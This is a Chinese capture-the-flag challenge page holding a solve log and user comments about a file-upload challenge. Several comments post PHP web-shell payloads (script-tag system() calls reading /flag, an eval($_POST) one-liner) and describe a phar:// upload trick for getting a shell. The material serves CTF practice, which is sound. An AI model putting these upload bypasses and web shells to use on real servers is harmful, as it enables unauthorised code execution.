评分(5)
解题动态
Mori. 攻破了该题 2天前
peaceminus1 攻破了该题 3天前
violet1 攻破了该题 3天前
Wu. 攻破了该题 3天前
Jazz888 攻破了该题 4天前
ugnfc 攻破了该题 7天前
hdcc1 攻破了该题 7天前
kiritoldws 攻破了该题 11天前
xyqsin 攻破了该题 13天前
19113115774 攻破了该题 13天前
无情的白给机器人 攻破了该题 15天前
yuanqinhe0123456789 攻破了该题 15天前
flag大王 攻破了该题 16天前
XF003C 攻破了该题 17天前
evilk 攻破了该题 17天前
等往事风中吹‘ 攻破了该题 17天前
爱意藏入虚空 攻破了该题 17天前
一定要做这些吗 攻破了该题 17天前
r1ng_13 攻破了该题 18天前
评论
wINFerno 4年前
举报
这题目我使用蚁剑连接不上，就写了<script language="php" >system('ls -al /')</script>查看目录 <script language="php" >system('tac /flag')</script>找到flag
zhou0626 4年前
举报
用蚁剑看了眼发现flag文件被放到了根目录
andrewlong 4年前
举报
/flag ??????
守得云开见月明 4年前
举报
@思南you flag是直接存放在根目录下的
思南you 4年前
举报
这是什么原理大佬
王大发财 4年前
举报
一个一个传的<script language=php>system("cat ../../../flag")</script>
onerm 4年前
举报
猜了一下，直接/flag。。。
陈江川0118 4年前
举报
无非就是换了个写一句话木马方式
yes1yi 4年前
举报
有人把flag删掉了？
a2cai 4年前
举报
不是很懂，试过<?php @eval($_POST['shell'])?>放到jpg里，然后上传后包含它，打开F12发现它其实会echo它？但会对一些字符进行转换啥的，我试的<?php和?>会转换成 _ ，然后 < 和 > 分别转换为<!-- 和-->,就不知道为啥用<script language='php'>@eval($_POST[
yswdlll 4年前
举报
phar能把压缩文件解压读取，即使这个压缩文件的后缀名改了也可以。。所以上传一个getshell的压缩文件，后缀名改成jpg或者其他。。然后通过phar：//读取
onerm 4年前
举报
学到了
ycfhw1 4年前
举报
flag没被删，只是换了位置而已，这么看的话，还是连菜刀查找效率更高
hoshino 4年前
举报
哥连不上